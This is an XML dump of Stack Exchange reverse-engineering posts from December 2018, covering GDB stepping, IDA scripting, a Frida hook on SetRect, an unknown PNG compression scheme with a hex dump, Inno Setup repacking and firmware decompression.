  <row Id="20146" PostTypeId="2" ParentId="20141" CreationDate="2018-12-16T08:18:32.903" Score="1" Body="&lt;p&gt;There's also the possibility to set a screen to full screen with the function &lt;code&gt;SetRect&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this spot on the mentioned executable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x004619bf mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]&#xA;0x004619c5 push 1&#xA;0x004619c7 call esi&#xA;0x004619c9 push eax&#xA;0x004619ca push 0&#xA;0x004619cc call esi&#xA;0x004619ce push eax&#xA;0x004619cf push 0&#xA;0x004619d1 push 0&#xA;0x004619d3 push 0x48e2f8&#xA;0x004619d8 call dword [sym.imp.USER32.dll_SetRect]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The flag 0 and 1 for GetSystemMetrics are called &lt;code&gt;SM_CYSCREEN&lt;/code&gt; and &lt;code&gt;SM_CXSCREEN&lt;/code&gt; and will make &lt;code&gt;GetSystemMetrics&lt;/code&gt; return the max x and y pixels that are finally used for &lt;code&gt;SetRect&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used radare2 to find this spot: &lt;code&gt;/c call~SetRect&lt;/code&gt;&#xA;In ollydbg or any other dynamic tool you can simply add a breakpoint at the top of &lt;code&gt;SetRect&lt;/code&gt; and wait until it gets fired to change it's arguments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT2:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think i missed some spots with my search /c. Idapro counts four xrefs to&#xA;SetRect. You could try to set a breakpoint directly at the top of SetRect to see who's calling it. If you would like to change the behavior of a function completely you can use something like &lt;a href=&quot;https://frida.re&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://frida.re&lt;/a&gt; i think something like this would work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Interceptor.attach (Module.findExportByName(&quot;user32.dll&quot;, &quot;SetRect&quot;), {&#xA;onEnter: function (args) {&#xA;    args[2]= args[2].shr(1);&#xA;    args[3] = args[3].shr(1);&#xA;},&#xA;onLeave: function (retval) {});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Save this into some js file and spawn your process with this line after installing frida on your system: &lt;code&gt;frida -f SETUP.EXE -l yourscript.js&lt;/code&gt;&#xA;I hope that will work for you.&lt;/p&gt;&#xA;" OwnerUserId="2772" LastEditorUserId="2772" LastEditDate="2018-12-23T10:28:58.843" LastActivityDate="2018-12-23T10:28:58.843" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20150" PostTypeId="1" CreationDate="2018-12-16T19:10:23.803" Score="2" ViewCount="2302" Body="&lt;p&gt;In the function below, let's say EIP is 0x400688. Now, I want to step over the call instead of stepping inside the subroutine.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    0x40067a &amp;lt;main+4&amp;gt;       sub    $0x20,%rsp                                                                                                         │&#xA;   │0x40067e &amp;lt;main+8&amp;gt;       mov    $0x3c00,%edi                                                                                                       │&#xA;   │0x400683 &amp;lt;main+13&amp;gt;      mov    $0x0,%eax                                                                                                          │&#xA;  &amp;gt;│0x400688 &amp;lt;main+18&amp;gt;      callq  0x400560 &amp;lt;alarm@plt&amp;gt;                                                                                               │&#xA;   │0x40068d &amp;lt;main+23&amp;gt;      mov    0x2009ac(%rip),%rax        # 0x601040 &amp;lt;stdout@@GLIBC_2.2.5&amp;gt;                                                        │&#xA;   │0x400694 &amp;lt;main+30&amp;gt;      mov    $0x0,%ecx                                                                                                          │&#xA;   │0x400699 &amp;lt;main+35&amp;gt;      mov    $0x2,%edx                                                                                                          │&#xA;   │0x40069e &amp;lt;main+40&amp;gt;      mov    $0x0,%esi                       &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I used the next command however it starts executing the main() function itself instead of just executing call and breaking at instruction: 0x40068d as shown below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) next &#xA;Single stepping until exit from function main,&#xA;which has no line number information.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2673" LastActivityDate="2018-12-17T23:59:41.697" Title="Step Over not working in GDB" Tags="|linux|gdb|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20151" PostTypeId="2" ParentId="20150" CreationDate="2018-12-16T19:25:39.823" Score="1" Body="&lt;p&gt;&lt;code&gt;next&lt;/code&gt; will not work as intended unless there is source line information in the symbol table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;https://sourceware.org/gdb/onlinedocs/gdb/Continuing-and-Stepping.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Next: Skipping Over Functions and Files&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Continue to the next source line in the current (innermost) stack&#xA;  frame. This is similar to step, but function calls that appear within&#xA;  the line of code are executed without stopping. Execution stops when&#xA;  control reaches a different line of code at the original stack level&#xA;  that was executing when you gave the next command. This command is&#xA;  abbreviated n.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;An argument count is a repeat count, as for step.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The next command only stops at the first instruction of a source line.&#xA;  This prevents multiple stops that could otherwise occur in switch&#xA;  statements, for loops, etc.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="18317" LastActivityDate="2018-12-16T19:25:39.823" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20157" PostTypeId="2" ParentId="20150" CreationDate="2018-12-17T23:59:41.697" Score="1" Body="&lt;p&gt;As said, &lt;code&gt;next&lt;/code&gt; won't work if the source has not its symbol table. You can obtain such debug symbols with &lt;code&gt;-g&lt;/code&gt; option from gcc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But otherwise, I think you're looking for the command &lt;code&gt;nexti&lt;/code&gt; that can be shortened to &lt;code&gt;ni&lt;/code&gt;. &lt;/p&gt;&#xA;" OwnerUserId="14820" LastActivityDate="2018-12-17T23:59:41.697" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20159" PostTypeId="1" AcceptedAnswerId="20160" CreationDate="2018-12-18T09:49:13.637" Score="2" ViewCount="2546" Body="&lt;p&gt;I am learning how to use IDC Scripting,or IDAPython in IDA for Reversing binary.One day i face this problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are given an array of random integer(4-byte integer) lies within the memory .The random number only be calculated while debugging .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The task is : extract each of those 4-byte integer from that array and put them into a new array,print the new array on console.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Arcording to what i have learned,IDA Hex-view present only 1 Hex Number in memory for each address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Example : at address 00791A00 contains an integer 1134,00791A04 contains an iteger 4567.In Hex-view it will be like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                     00791A00 : 34&#xA;                     00791A01 : 11&#xA;                     00791A02 : 00&#xA;                     00791A03 : 00&#xA;                     00791A04 : 67&#xA;                     00791A05 : 45&#xA;                     00791A06 : 00&#xA;                     00791A07 : 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Assuming the new array named &quot;arr&quot;. So arr[0] = 0x1134,arr[1] = 0x4567. That's what i want!&#xA;So,i'm wondering how can i do that with IDAPython,or IDC?&#xA;The only thing i have known so far about IDC or IDAPython is writing a script to dump memory to a file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the Link from where i learned to dump memory: &lt;a href=&quot;https://stackoverflow.com/questions/42744445/how-in-ida-can-save-memory-dump-with-command-or-script&quot;&gt;https://stackoverflow.com/questions/42744445/how-in-ida-can-save-memory-dump-with-command-or-script&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would appreciate if someone could give me a hint or walk me through with basic ideas on how to solve this problem.&lt;/p&gt;&#xA;" OwnerUserId="24677" LastActivityDate="2018-12-18T18:23:03.020" Title="IDA Dump Memory" Tags="|ida|python|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20160" PostTypeId="2" ParentId="20159" CreationDate="2018-12-18T18:23:03.020" Score="0" Body="&lt;p&gt;from what i remember Ida would either show  bytes with db prefix in Ida-view&lt;br&gt;&#xA;or as a group of 16 bytes in hex-view&lt;br&gt;&#xA;I am not sure where you see a display like that  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yePU9.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yePU9.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you mean the Ida View press d two times will make the db (define byte ) prefix to &#xA;dd (define dword)&lt;br&gt;&#xA;and selecting one dd will highlight the corresponding dword in hex view as in pic below&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fmTsu.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fmTsu.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can make an array using MakeDword(),MakeArray() idc commands &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fgUtH.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fgUtH.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you want to print the dwords with address you can employ a script like this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;auto i;&#xA;for(i =0; i&amp;lt;5 ; i++) {&#xA;Message(&quot;%08x\t:%08x\n&quot;,(ScreenEA() + (i*4))Dword(ScreenEA() +(i*4)));&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MnU5t.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MnU5t.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2018-12-18T18:23:03.020" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20167" PostTypeId="1" CreationDate="2018-12-19T20:40:48.317" Score="4" ViewCount="906" Body="&lt;p&gt;I have a raw data of what seems to be a compressed PNG file and I need to find the decompress algorithm for unknown compression.&lt;br&gt;&#xA;You can see the file &lt;a href=&quot;https://hexed.it#base64:[encoded data, 12064 characters]&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;br&gt;&#xA;I think they are using some kind of LZRW 1 with some strange dictionary build routine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I succeed to de-compress the &lt;code&gt;IHeader&lt;/code&gt; of the file correctly (I verified it with CRC).&lt;br&gt;&#xA;This the comparing between them:&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/LRK9l.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LRK9l.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the algorithm it worked with:&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/cA7dr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cA7dr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a 1 byte flag every each 8 bytes.&lt;br&gt;&#xA;If the flag is &gt; 0 I am checking its bits.&lt;br&gt;&#xA;For example:&lt;br&gt;&#xA;&lt;code&gt;08 (0000 1000) 00 00 02 58 (00 83) 5A 08 06&lt;/code&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The flag is &lt;code&gt;08&lt;/code&gt; =&gt; &lt;code&gt;0000 1000&lt;/code&gt;&lt;br&gt;&#xA;So it need to go 5 step forward after the flag =&gt; &lt;code&gt;00 83&lt;/code&gt; ....  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The dictionary looks to be built by 2 bytes, for example: &lt;code&gt;00 83&lt;/code&gt;&lt;br&gt;&#xA;In binary:&lt;br&gt;&#xA;&lt;code&gt;0000 0000 1000 0011&lt;/code&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first 4 bits from the right are might be the length and the rest (12 bits) are probably the absolute offset.&lt;br&gt;&#xA;offset length&lt;br&gt;&#xA;&lt;code&gt;(0000 0000 1000) (0011)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked to the next flags after the first chunk dictionary (&lt;code&gt;0x0 0x83&lt;/code&gt;) and saw a new dictionaries (&lt;code&gt;0x9 0x84&lt;/code&gt;) but it doesn't work well:&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/LtAuq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LtAuq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the &quot;best&quot; result I received with my algorithm:&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/LZnuW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LZnuW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My algorithm pseudo-code:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;data = readFile(filePath)&#xA;i = 0&#xA;while i &amp;lt; len(data):&#xA;    controlbits = data[i] // controlbits is 8 bites&#xA;    i += 1&#xA;    for bit in controlbits:&#xA;        if bit == 0:&#xA;            output += data[i]&#xA;            i += 1&#xA;        else: // bit is 1&#xA;            // Example: data[i] = 0x0, data[i+1] = 0x83&#xA;            // data[i] = 0000 0000&#xA;            // data[i+1] = 1000 0011&#xA;            // dict = 0000 0000 1000 0011&#xA;            dict = data[i] &amp;lt;&amp;lt; 8&#xA;            dict |=  data[i+1]&#xA;&#xA;&#xA;            offset = dict[0:12]&#xA;            len = dict[12:16]&#xA;            output += output[offset: offset+len]&#xA;            i += 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I gave a link in the beginning for the full file content but you also have here 570 bytes from the file:    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000-0010:  00 89 50 4e-47 0d 0a 1a-0a 00 00 00-00 0d 49 48  ..PNG... ......IH&#xA;0000-0020:  44 52 08 00-00 02 58 00-83 5a 08 06-80 00 83 64  DR....X. .Z.....d&#xA;0000-0030:  31 28 fe 00-00 21 00 c7-49 44 41 54-78 9c ed 00  1(...!.. IDATx...&#xA;0000-0040:  dd 79 54 14-57 fa 37 f0-00 6f 2f ac-22 8d a2 20  .yT.W.7. .o/.&quot;...&#xA;0000-0050:  41 00 40 82-4b 5c 23 2e-e8 24 00 ae-e8 88 1a b5  A.@.K\#. .$......&#xA;0000-0060:  d1 38 81 00-18 46 09 82-26 26 18 67-00 8c fa 33  .8...F.. &amp;amp;&amp;amp;.g...3&#xA;0000-0070:  a2 a2 a3 31-06 00 c6 2d-1a 15 63 3c-2a d1 00 18  ...1...- ..c&amp;lt;*...&#xA;0000-0080:  25 c6 65 cc-28 51 8f 00-21 6a 30 1a-11 a2 a0 c6  %.e.(Q.. !j0.....&#xA;0000-0090:  00 05 d4 38-80 2c 8d 46-a1 00 e9 a6-de 3f 3c f4  ...8.,.F .....?&amp;lt;.&#xA;0000-00a0:  4b 2d 00 dd-54 77 57 43-8b cf e7 00-1c ce a1 aa  K-..TwWC ........&#xA;0000-00b0:  6e df ba d5-00 b5 3d 5d-f7 d6 bd 32-86 00 61 18  n.....=] ...2..a.&#xA;0000-00c0:  10 42 08 21-84 10 02 c9-c8 1b bb 00-84 09 84 4d  .B.!.... .......M&#xA;0000-00d0:  08 0d 05 58-84 09 84 12-a3 00 41 8b-09 84 44 62  ...X.... ..A...Db&#xA;0000-00e0:  14 60 11 09-94 08 48 8c-02 2c 09 95-89 51 80 42  .`....H. .,...Q.B&#xA;0000-00f0:  45 09 a4 22-31 0a b0 09-a4 42 08 24-46 01 16 09  E..&quot;1... .B.$F...&#xA;0000-0100:  b3 42 88 c4-09 28 c0 22-84 09 83 91-18 0a 63 ff  .B...(.&quot; ......c.&#xA;0000-0110:  09 84 0a 94-09 84 0a d5-09 94 0b 24-09 95 0b 64  ........ ...$...d&#xA;0000-0120:  fe 09 a4 0b-a4 09 a4 0b-e5 09 b3 0c-37 09 83 91  ........ ....7...&#xA;0000-0130:  7f 18 0a 63-09 84 0a 94-09 84 0a d5-09 94 0b 24  ...c.... .......$&#xA;0000-0140:  ff 09 95 0b-64 09 a4 0b-a4 09 a4 0b-e5 09 b3 0c  ....d... ........&#xA;0000-0150:  37 80 09 83-91 98 52 ea-0c 1f 3f 00-7e 8c 07 0f  7.....R. ..?.~...&#xA;0000-0160:  1e a0 b2 b2-00 12 1e 1e-1e 68 d9 b2-25 00 94 4a  ........ .h..%..J&#xA;0000-0170:  c9 57 d3 24-65 66 00 66-e2 f4 e9 d3-b8 7b f7 00  .W.$ef.f .....{..&#xA;0000-0180:  2e 34 1a 0d-00 60 eb d6-00 ad 8d 5c-2a 22 25 3a  .4...`.. ...\*&quot;%:&#xA;0000-0190:  3f 00 08 21-f6 aa b4 b4-14 a9 00 a9-a9 d0 68 34  ?..!.... ......h4&#xA;0000-01a0:  18 37 6e 00-1c 5e 7e f9-e5 c6 2e 92-00 64 0a 0a  .7n..^~. .....d..&#xA;0000-01b0:  0a b0 68 d1-22 00 38 38-38 40 a5 52-a1 43 00 87  ..h.&quot;.88 8@.R.C..&#xA;0000-01c0:  0e 18 3c 78-30 5e 7a 00-e9 25 9b ad-53 c6 30 0c  ..&amp;lt;x0^z. .%..S.0.&#xA;0000-01d0:  00 63 6d 26-85 85 85 d8-b0 00 61 03-d2 d2 d2 90  .cm&amp;amp;.... ..a.....&#xA;0000-01e0:  97 97 00 87-9a 9a 1a c3-32 85 42 00-81 4e 9d 3a  ........ 2.B..N.:&#xA;0000-01f0:  61 e9 d2 a5-01 78 fd f5-d7 59 9f 1b-11 33 00 ae  a....x.. .Y...3..&#xA;0000-0200:  5d bb 66 32-ef bf fd 00-ed 6f f8 d7-bf fe 65 6d  ].f2.... .o....em&#xA;0000-0210:  00 11 ed da-d9 b3 67 31-7d 00 fa 74-e4 e4 e4 b0  ......g1 }..t....&#xA;0000-0220:  e6 2b 00 14-0a e8 74 3a-ab f3 1f 00-38 70 20 8a  .+....t: ....8p..&#xA;0000-0230:  8b 8b 0d d3-00 cb 96 2d-c3 c4 89 13-ad 00 ce 97  .......- ........&#xA;0000-0240:  88 63 e9 f9-41 48 00 53-b1 62 c5 0a-6c df be 00  .c..AH.S .b..l...&#xA;0000-0250:  dd 30 fd ca-2b af e0 cb-00 2f bf 6c-c4 12 11 ae  .0..+... ./.l....&#xA;0000-0260:  a2 00 a2 22-04 07 07 e3-8f 3f 80 01-a3 28 95 4a  ...&quot;.... .?...(.J&#xA;0000-0270:  7c f7 dd 77-00 78 ed b5-d7 1a bc 2c-fb 00 f7 ef  |..w.x.. ...,....&#xA;0000-0280:  c7 fc f9 f3-0d d3 00 ad-5b b7 46 46-46 86 55 00  ........ [.FFF.U.&#xA;0000-0290:  79 66 65 65-21 38 38 98-00 37 ff af-7f fd 2b b6  yfee!88. .7....+.&#xA;0000-02a0:  6c 00 d9 82-80 80 00 ab-f2 17 00 62-f5 4f e7 a3  l....... ...b.O..&#xA;0000-02b0:  47 8f 62 00-d2 a4 49 28-2d 2d 15 5c-00 ae d7 eb  G.b...I( --.\....&#xA;0000-02c0:  71 e5 ca 15-5c 00 bf 7e-9d b7 ec e6-cd 9b 00 b8  q...\..~ ........&#xA;0000-02d0:  7a f5 aa c9-fc ef df 20-bf 6f 17 33-5a 46 46 06  z....... .o.3ZFF.&#xA;0000-02e0:  86 00 0f 1f-0e ad 56 6b-b3 75 a0 21-23 1d 14 03  ......Vk .u.!#...&#xA;0000-02f0:  86 e9 f2 f2-72 00 9b ad-ab a1 dd be-7d 1b 00 27  ....r... ....}..'&#xA;0000-0300:  4e 9c 40 68-68 28 da 00-b5 6b d7 d8-c5 e1 b1 e6  N.@hh(.. .k......&#xA;0000-0310:  10 fc 78 56-23 c4 f7 ee-dd 43 00 71-71 31 b4 5a  ..xV#... .C.qq1.Z&#xA;0000-0320:  2d dc dd 00-dd 11 10 10-80 f6 ed db-00 c3 c1 c1  -....... ........&#xA;0000-0330:  a1 d1 cb 66-cf 02 c7 8b-bd 97 cf 52-14 03 ac 00  ...f.... ...R....&#xA;0000-0340:  6b 7d db b6-6d 1b b1 34-00 44 c8 fa-f5 eb 0d c1  k}..m..4 .D......&#xA;0000-0350:  15 40 00 18-63 24 26 26-36 4a 80 00-a5 d1 68 58  .@..c$&amp;amp;&amp;amp; 6J....hX&#xA;0000-0360:  c7 8b 2d ef-00 59 e9 e9-e9 08 09 09-c1 00 85 0b  ..-..Y.. ........&#xA;0000-0370:  17 24 3f 2e-ad 6a 00 83-95 9d 9d 8d-f1 e3 c7 00  .$?..j.. ........&#xA;0000-0380:  1b bd 79 10-d3 f4 7a 3d-00 a2 a3 a3-79 c1 55 bb  ..y...z= ....y.U.&#xA;0000-0390:  76 00 ed 30-62 c4 08 7a-a2 61 00 44-69 69 29 e2  v..0b..z .a.Dii).&#xA;0000-03a0:  e2 e2 10 00-14 14 84 c0-c0 40 4c 9d-00 3a 15 77  ........ .@L..:.w&#xA;0000-03b0:  ef de 6d ec-62 00 f1 3c-4f e7 c7 ef-bf ff 00 8e  ..m.b..&amp;lt; O.......&#xA;0000-03c0:  19 33 66 20-30 30 10 00-81 81 81 18-30 60 00 c6  .3f.00.. ....0`..&#xA;0000-03d0:  00 8f 1f 8f-88 88 08 8c-1a 00 35 0a-5d ba 74 81  ........ ..5.].t.&#xA;0000-03e0:  4a a5 40 42-24 43 16 2f-5e 8c c7 8f-00 1f 37 58  J.@B$C./ ^.....7X&#xA;0000-03f0:  d9 ec fd 78-b1 00 f7 f2-d9 9b e4 e4-64 38 00 3b  ...x.... ....d8.;&#xA;0000-0400:  3b 1b fe ba-76 ed 6a 00-32 bd 46 a3-61 a5 77 76  ;...v.j. 2.F.a.wv&#xA;0000-0410:  00 76 c6 c9-93 27 1b a8-b4 00 cf 8e-ba 3f c2 6b  .v...'.. .....?.k&#xA;0000-0420:  fd ef 04 7f-ff 13 fd f9-29 d3 9a b5-00 5f 1a 9a  ........ )...._..&#xA;0000-0430:  87 87 07 5e-7f 00 fd 75-0c 1e 3c 18-5e 5e 00 5e  ...^...u ..&amp;lt;.^^.^&#xA;0000-0440:  ac 65 45 45-45 98 39 00-73 a6 e4 eb-b4 ea 09 d6  .eEEE.9. s.......&#xA;0000-0450:  00 9c 39 73-f0 e4 c9 13-d6 40 bc 12-b3 22 26 26  ..9s.... .@...&quot;&amp;amp;&amp;amp;&#xA;0000-0460:  06 7e 7e 00-7e a8 a8 a8-40 51 51 11-00 ae 5c b9  .~~.~... @QQ...\.&#xA;0000-0470:  22 f8 6b 6c-c6 00 8c 19-28 2a 2a 62-cd 4b 00 49  &quot;.kl.... (**b.K.I&#xA;0000-0480:  49 69 f2 4f-ad 6a 1d 00-3b 76 0c 37-6f de 34 4c  Ii.O.j.. ;v.7o.4L&#xA;0000-0490:  08 3b 3a 3a-62 25 33 98-30 61 00 42-23 96 ca fe  .;::b%3. 0a.B#...&#xA;0000-04a0:  15 15 15 00-e1 8b 2f be-68 ec 62 d4-00 cb da f3  ....../. h.b.....&#xA;0000-04b0:  e3 59 a0 d5-6a 00 31 7b-f6 6c 6c da-b4 a9 00 de  .Y..j.1{ .ll.....&#xA;0000-04c0:  ea ec 27 4f-9e e0 e4 02-c9 93 38 79-f2 24 2c 93  ..'O.... ..8y.$,.&#xA;0000-04d0:  e0 00 ea ea-da 20 65 b4-f7 e3 00 c5-de cb 67 6f  ......e. ......go&#xA;0000-04e0:  74 3a 1d 00-aa aa aa 0c-d3 75 ff 17-00 c2 30 0c  t:...... .u....0.&#xA;0000-04f0:  2f 8d 5e af-b7 00 49 d9-9e 65 61 61-61 48 00 49  /.^...I. .eaaaH.I&#xA;0000-0500:  49 61 cd 1b-35 6a 94 02-e8 cf 57 57-57 9b 34 23  Ia..5j.. ..WWW.4#&#xA;0000-0510:  5a 80 2b b3-b0 6f df 3e-00 40 4d 10-4d 0d fe 33  Z.+..o.&amp;gt; .@M.M..3&#xA;0000-0520:  a3 63 ee dc-b9 00 86 e5-07 0e 1c c0-fd fb 00 f7  .c...... ........&#xA;0000-0530:  e1 e3 e3 23-d9 3a 2d 00-0e b0 4a 4a-4a f0 c3 0f  ...#.:-. ..JJJ...&#xA;0000-0540:  00 3f b0 e6-4d 9b 36 0d-9b 00 37 6f-16 9d c7 8c  .?..M.6. ..7o....&#xA;0000-0550:  19 33 00 78-f3 0e 1f 3e-fc dc 04 00-58 a7 4f 9f  .3.x...&amp;gt; ....X.O.&#xA;0000-0560:  66 4d c7 c7-00 c7 53 70-d5 44 48 71-7e 20 d8 bb  fM....Sp .DHq~...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="26792" LastEditorUserId="26792" LastEditDate="2018-12-20T14:59:09.297" LastActivityDate="2018-12-20T14:59:09.297" Title="Finding decompress algorithm for unknown compression" Tags="|file-format|decompress|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20168" PostTypeId="1" CreationDate="2018-12-19T21:38:40.137" Score="2" ViewCount="1145" Body="&lt;p&gt;Is it possible to somehow re-compile/reconstruct Inno Setup file and use existing CompiledCode.bin ? I dont have the source of CompiledCode.bin and writing from scratch is not an option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically what I am trying to do is open up a setup.exe that was made via InnoSetup and edit a few text files inside, then recompile/reconstruct. I dont need to touch the Pascal script at all just change a few lines in a .txt file.&lt;/p&gt;&#xA;" OwnerUserId="26795" LastActivityDate="2018-12-19T21:38:40.137" Title="Reconstruct InnoSetup file with existing CompiledCode.bin" Tags="|decompilation|unpacking|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20172" PostTypeId="1" CreationDate="2018-12-20T22:06:00.887" Score="2" ViewCount="450" Body="&lt;p&gt;I'm trying to reverse engineer a firmware for a vape mod. I've downloaded it from their official website. First I tried dissassemble it in IDA but it couldn't identify any architecture in it. Then I tried to examine it with binvis.io and it looked like this &lt;a href=&quot;https://i.stack.imgur.com/uhO3G.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uhO3G.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So judging from this image I made a conclusion that this file is compressed. After that I opened it in HxD. And I've got there some repeating bytes but I couldn't figure out what they mean yet.&lt;a href=&quot;https://i.stack.imgur.com/WepZZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WepZZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would be very pleased if you could give me the direction for my next steps.&#xA;And if you want to study that file for yourself, you can download it here. &lt;a href=&quot;https://cdn.shopify.com/s/files/1/0008/7484/0129/files/MiniKinV1.5BoostMod.firmware?8078543727848484856&quot; rel=&quot;nofollow noreferrer&quot;&gt;Firmware for asmodus minikin boost&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And also you can check out their official firmware updater tool if this helps. &lt;a href=&quot;https://cdn.shopify.com/s/files/1/0008/7484/0129/files/UpgradeV1.1.zip?15970523724909510905&quot; rel=&quot;nofollow noreferrer&quot;&gt;Upgrade tool&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="26806" LastEditorUserId="245" LastEditDate="2018-12-20T22:19:34.713" LastActivityDate="2020-06-09T15:03:15.267" Title="Can't decompress firmware" Tags="|firmware|decompress|firmware-analysis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20175" PostTypeId="1" CreationDate="2018-12-21T10:49:06.983" Score="3" ViewCount="3815" Body="&lt;p&gt;What is the difference between kernelBase.dll and Kernel32.dll in system32 folder ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why both of them implement &lt;code&gt;WideCharToMultiByte&lt;/code&gt; ?&lt;/p&gt;&#xA;" OwnerUserId="25556" LastActivityDate="2022-06-08T18:12:00.953" Title="What is the difference between kernelBase.dll and Kernel32.dll" Tags="|windows|dll|winapi|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
